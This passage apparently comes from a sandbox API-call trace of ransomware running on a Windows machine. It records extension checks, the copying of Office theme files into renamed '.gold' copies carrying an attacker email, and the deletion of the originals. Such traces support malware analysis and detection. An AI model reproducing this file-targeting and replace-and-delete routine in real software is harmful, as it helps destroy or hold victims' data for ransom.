Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0096.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.631] lstrlenW (lpString=".doc") returned 4 [0096.631] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".docx") returned 5 [0096.632] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.632] lstrlenW (lpString=".pdf") returned 4 [0096.632] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".xls") returned 4 [0096.632] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".xlsx") returned 5 [0096.632] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.632] lstrlenW (lpString=".ppt") returned 4 [0096.632] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString=".zip") returned 4 [0096.632] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".rar") returned 4 [0096.632] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".bz2") returned 4 [0096.632] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".7z") returned 3 [0096.632] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString=".dbf") returned 4 [0096.632] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString=".1cd") returned 4 [0096.632] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString=".jpg") returned 4 [0096.632] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString=".doc") returned 4 [0096.632] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".docx") returned 5 [0096.632] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.632] lstrlenW (lpString=".pdf") returned 4 [0096.632] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".xls") returned 4 [0096.632] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".xlsx") returned 5 [0096.632] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.632] lstrlenW (lpString=".ppt") returned 4 [0096.632] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString=".zip") returned 4 [0096.632] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".rar") returned 4 [0096.632] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".bz2") returned 4 [0096.632] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.632] lstrlenW (lpString=".7z") returned 3 [0096.632] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.632] lstrlenW (lpString=".dbf") returned 4 [0096.632] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.633] lstrlenW (lpString=".1cd") returned 4 [0096.633] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0096.633] lstrlenW (lpString=".jpg") returned 4 [0096.633] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.633] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.633] lstrlenW (lpString="Trek.eftx") returned 9 [0096.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.822] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=129924) returned 1 [0096.822] CloseHandle (hObject=0x3a0) returned 1 [0096.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0096.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.840] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.840] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.129] GetLastError () returned 0x0 [0098.129] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0098.133] WriteFile (in: hFile=0x33c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0098.135] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.135] WriteFile (in: hFile=0x33c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0098.135] SetEndOfFile (hFile=0x33c) returned 1 [0098.135] CloseHandle (hObject=0x33c) returned 1 [0098.136] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.136] SetEndOfFile (hFile=0x3a0) returned 1 [0098.138] CloseHandle (hObject=0x3a0) returned 1 [0098.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0098.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.478] lstrlenW (lpString=".doc") returned 4 [0098.478] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.478] lstrlenW (lpString=".docx") returned 5 [0098.478] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.478] lstrlenW (lpString=".pdf") returned 4 [0098.478] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.478] lstrlenW (lpString=".xls") returned 4 [0098.478] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.478] lstrlenW (lpString=".xlsx") returned 5 [0098.479] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.479] lstrlenW (lpString=".ppt") returned 4 [0098.479] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString=".zip") returned 4 [0098.479] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".rar") returned 4 [0098.479] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".bz2") returned 4 [0098.479] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".7z") returned 3 [0098.479] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString=".dbf") returned 4 [0098.479] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString=".1cd") returned 4 [0098.479] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString=".jpg") returned 4 [0098.479] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString=".doc") returned 4 [0098.479] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".docx") returned 5 [0098.479] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.479] lstrlenW (lpString=".pdf") returned 4 [0098.479] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".xls") returned 4 [0098.479] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".xlsx") returned 5 [0098.479] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.479] lstrlenW (lpString=".ppt") returned 4 [0098.479] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString=".zip") returned 4 [0098.479] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".rar") returned 4 [0098.479] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".bz2") returned 4 [0098.479] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.479] lstrlenW (lpString=".7z") returned 3 [0098.479] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.479] lstrlenW (lpString=".dbf") returned 4 [0098.480] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.480] lstrlenW (lpString=".1cd") returned 4 [0098.480] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0098.480] lstrlenW (lpString=".jpg") returned 4 [0098.480] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.480] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0098.480] lstrlenW (lpString="AUTOSHAP.DLL") returned 12 [0098.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.518] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=15776) returned 1 [0098.518] CloseHandle (hObject=0x3a4) returned 1 [0098.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20 [0098.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.518] lstrlenW (lpString=".doc") returned 4 [0098.518] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.518] lstrlenW (lpString=".docx") returned 5 [0098.518] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0098.518] lstrlenW (lpString=".pdf") returned 4 [0098.518] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.518] lstrlenW (lpString=".xls") returned 4 [0098.518] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.518] lstrlenW (lpString=".xlsx") returned 5 [0098.518] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0098.518] lstrlenW (lpString=".ppt") returned 4 [0098.518] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.518] lstrlenW (lpString=".zip") returned 4 [0098.518] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.518] lstrlenW (lpString=".rar") returned 4 [0098.518] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.518] lstrlenW (lpString=".bz2") returned 4 [0098.519] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.519] lstrlenW (lpString=".7z") returned 3 [0098.519] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".dbf") returned 4 [0098.519] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".1cd") returned 4 [0098.519] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".jpg") returned 4 [0098.519] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".doc") returned 4 [0098.519] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.519] lstrlenW (lpString=".docx") returned 5 [0098.519] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0098.519] lstrlenW (lpString=".pdf") returned 4 [0098.519] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.519] lstrlenW (lpString=".xls") returned 4 [0098.519] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.519] lstrlenW (lpString=".xlsx") returned 5 [0098.519] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0098.519] lstrlenW (lpString=".ppt") returned 4 [0098.519] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".zip") returned 4 [0098.519] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.519] lstrlenW (lpString=".rar") returned 4 [0098.519] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.519] lstrlenW (lpString=".bz2") returned 4 [0098.519] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.519] lstrlenW (lpString=".7z") returned 3 [0098.519] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".dbf") returned 4 [0098.519] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".1cd") returned 4 [0098.519] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0098.519] lstrlenW (lpString=".jpg") returned 4 [0098.519] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.519] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0098.519] lstrlenW (lpString="BULLETS.DLL") returned 11 [0098.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.524] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=15264) returned 1 [0098.524] CloseHandle (hObject=0x3a4) returned 1 [0098.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20 [0098.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString=".doc") returned 4 [0098.856] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".docx") returned 5 [0098.856] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0098.856] lstrlenW (lpString=".pdf") returned 4 [0098.856] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".xls") returned 4 [0098.856] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".xlsx") returned 5 [0098.856] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0098.856] lstrlenW (lpString=".ppt") returned 4 [0098.856] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString=".zip") returned 4 [0098.856] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".rar") returned 4 [0098.856] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".bz2") returned 4 [0098.856] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.856] lstrlenW (lpString=".7z") returned 3 [0098.856] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString=".dbf") returned 4 [0098.856] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString=".1cd") returned 4 [0098.856] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString=".jpg") returned 4 [0098.856] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString=".doc") returned 4 [0098.856] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".docx") returned 5 [0098.856] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0098.856] lstrlenW (lpString=".pdf") returned 4 [0098.856] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".xls") returned 4 [0098.856] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".xlsx") returned 5 [0098.856] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0098.856] lstrlenW (lpString=".ppt") returned 4 [0098.856] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.856] lstrlenW (lpString=".zip") returned 4 [0098.856] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".rar") returned 4 [0098.856] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.856] lstrlenW (lpString=".bz2") returned 4 [0098.856] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.857] lstrlenW (lpString=".7z") returned 3 [0098.857] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.857] lstrlenW (lpString=".dbf") returned 4 [0098.857] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.857] lstrlenW (lpString=".1cd") returned 4 [0098.857] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0098.857] lstrlenW (lpString=".jpg") returned 4 [0098.857] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.857] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0098.857] lstrlenW (lpString="LINES.DLL") returned 9 [0098.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0099.227] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=15256) returned 1 [0099.228] CloseHandle (hObject=0x3c4) returned 1 [0099.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20 [0099.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 